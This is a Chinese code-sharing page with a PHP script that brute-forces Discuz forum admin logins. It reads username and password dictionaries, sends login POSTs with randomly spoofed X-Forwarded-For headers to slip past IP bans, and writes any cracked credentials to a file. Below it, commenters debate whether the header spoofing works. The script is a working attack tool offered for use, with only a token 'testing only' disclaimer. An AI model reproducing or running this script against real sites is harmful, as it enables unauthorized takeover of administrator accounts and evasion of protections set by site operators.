当前访客身份:游客 [ 登录 | 加入 OSCHINA ]

代码分享

当前位置:
代码分享 » PHP  » 安全与加密
分享到: 
收藏 +0
3
自己写的,爆破discuz后台的,基于字典的,仅供测试。勿用于非法用途
标签: PHP

代码片段(5) [全屏查看所有代码]

1. [代码]需要字典,     跳至 [1] [全屏预览]

<?php
/**
	Author : fengxuan
	Date : 2014-11-23 
*/

class FuckDiscuz{
	public $userfile;
	public $passfile;
	public $outfile;
	public $url;
	
	public function __construct($argv,$argc){
		$this->init($argv,$argc);
		$this->crack();
	}
	
	
	
	private function init($argv,$argc){
		if(!isset($argv) ||  $argc != 7 || $argv[1]!='-v' || $argv[2]!='-o' ) 	$this->show();
		$this->userfile = $argv[count($argv)-2];
		$this->passfile = $argv[count($argv)-1];
		$this->outfile  = $argv[3];
		$this->url = $argv[count($argv)-3];
	}
	

	
	private function sock_post($url,$query){
		$info = parse_url($url);
		$fp = fsockopen($info['host'],80,$error,$errstr,30);
		$head = "POST  ".$info['path']." HTTP/1.0\r\n";
		$head .= "HOST: ".$info['host']."\r\n";
		$head .= "X-Forwarded-For:  ".$this->X_Forwarded_for()."\r\n";
		$head .="Content-type: application/x-www-form-urlencoded\r\n";
		$head .= "Content-Length: ".strlen(trim($query))."\r\n";
		$head .= "\r\n";
		$head .= trim($query);
		$write = fputs($fp, $head);
		while (!feof($fp)){
			$line = fgets($fp);
			if(preg_match('/HTTP\/1.1 302/i', $line)){
			     $temp = 	explode('&', $query);
			     $temp[0] = substr(strstr($temp[0], '='), 1);
			     $temp[1] = substr(strstr($temp[1], '='), 1);
				echo "\r\n\r\nCongratulations! \r\nThe username is \r\n".$temp[0]."  and password is \r\n".$temp[1]."\r\n";
				$this->savefile($this->outfile, $temp[0] , $temp[1] );
				
			}
			//echo $line."<br>";
		}
	}
	
	private function X_Forwarded_for(){
		$xip = rand(1, 255).".".rand(0, 255).".".rand(0, 255).".".rand(1, 254);
		if (preg_match('#^(10|172\.16|192\.168)\.#', $xip)) {
			continue;
				
		}
		return $xip;
	}
	
	private function savefile($file,$user,$pass){
		$fp = fopen($file, 'w+');
		$string = "username  ".$user."  password  ".$pass."\r\n";
		fwrite($fp, $string);
		fclose($fp);
	}
	
	private function crack(){
		$userfile = file($this->userfile);
		$passfile = file($this->passfile);
	
		$userarr = array();
		$passarr = array();
		foreach ($userfile as $user=>$value){
			$userarr[$user] = $value;
			foreach ($passfile as $pass=>$value){
				$passarr[$pass] = $value;
				$data = array(
						'admin_username'=>$userarr[$user],
						'admin_password'=>$passarr[$pass],
						'submit'=>'提交'
				);
				print "Try crack with: \t".$userarr[$user]." and  \t".$passarr[$pass]."   \r\n";
				$data = str_replace('%0D%0A', '',http_build_query($data));
				$this->sock_post($this->url, $data);
			}
		}
	}
	
	private function show(){

			$string = <<<eof
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+----------Writed by 风炫 Date:2014/11/25------------------+
+-------如果有能力,即使黑了全世界又如何?------------------+
+If there are any problems,please contact:978348306@qq.com-+
+-----we from moon security team blog:www.moonsec.com------+
+----------------只供测试所用,请勿用于非法用途-------------+
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
usage: fuckdz.php  <commands>  <url> <userfile> <passfile>
			
<commands>
			
-v : According to cracking process
-o [file] : The  output file to save
eg:
php.exe fuckdz.php -v -o result.txt http://www.xxx.com/admin.php user.txt pass.txt
			
eof;
			print $string;
		exit();
	}
}

new FuckDiscuz($argv,$argc);

?>

2. [图片] 1.jpg    

3. [图片] 2.jpg    

4. [图片] 3.jpg    

5. [图片] 4.jpg    



开源中国-程序员在线工具:Git代码托管 API文档大全(120+) JS在线编辑演示 二维码 更多»

发表评论 回到顶部 网友评论(9)

  • 1楼:qycms_cn 发表于 2014-12-08 14:19 回复此评论
    无聊,你在本机测试本机的论坛后台,网络访问当然比较快。而且还需要常用用户 + 密码字典。
    别人禁 你IP,你这样可行?别人简单加上个验证码,你这样的程序只能是意淫。
  • 2楼:walkskyer 发表于 2014-12-08 14:37 回复此评论
    本来以为是高科技!
  • 3楼:junan 发表于 2014-12-08 15:21 回复此评论
    楼主的想法不错
  • 4楼:风炫 发表于 2014-12-08 20:36 回复此评论

    引用来自“杨金焕”的评论

    无聊,你在本机测试本机的论坛后台,网络访问当然比较快。而且还需要常用用户 + 密码字典。
    别人禁 你IP,你这样可行?别人简单加上个验证码,你这样的程序只能是意淫。
    我爆破成功过 程序本身利用xff头可以突破discuz的IP限制,但是如果服务器有安全软件就不行。
  • 5楼:qycms_cn 发表于 2014-12-09 09:51 回复此评论

    引用来自“杨金焕”的评论

    无聊,你在本机测试本机的论坛后台,网络访问当然比较快。而且还需要常用用户 + 密码字典。
    别人禁 你IP,你这样可行?别人简单加上个验证码,你这样的程序只能是意淫。

    引用来自“风炫”的评论

    我爆破成功过 程序本身利用xff头可以突破discuz的IP限制,但是如果服务器有安全软件就不行。
    xff头可以伪造IP?看了dz的IP获取方法,你这样可以伪造? 禁IP有几种情况: 1、帐号 + IP, 2、禁止IP,可以排除了保留类的IP(127.***,192.***)这类的内部通信IP,避免误杀。 3、服器apache,nginx级禁IP 4、防火墙禁IP。。。 .... 你极可能是在第2 种情况意淫。
  • 6楼:Fenlog 发表于 2014-12-15 11:20 回复此评论

    引用来自“杨金焕”的评论

    无聊,你在本机测试本机的论坛后台,网络访问当然比较快。而且还需要常用用户 + 密码字典。
    别人禁 你IP,你这样可行?别人简单加上个验证码,你这样的程序只能是意淫。
    没有任何单一方法是万能的。。。安全检测的过程就是各种尝试,这里只是提出一个方法而已。。。 搞安全和搞开发是两码事。
  • 7楼:lxbzmy 发表于 2014-12-15 13:53 回复此评论
    HTTP协议中IP还能伪造?
  • 8楼:ninja911 发表于 2014-12-15 16:17 回复此评论

    引用来自“lxbzmy”的评论

    HTTP协议中IP还能伪造?
    是伪造数据,非真正伪造IP头. php server认可X_Forward而已。XF本身是为了解决代理访问定制的。禁用XF意味着,代理无法请求。
  • 9楼:历史大坏蛋 发表于 2016-08-07 14:41 回复此评论
    卵用
开源从代码分享开始 分享代码
风炫的其它代码 全部(1)...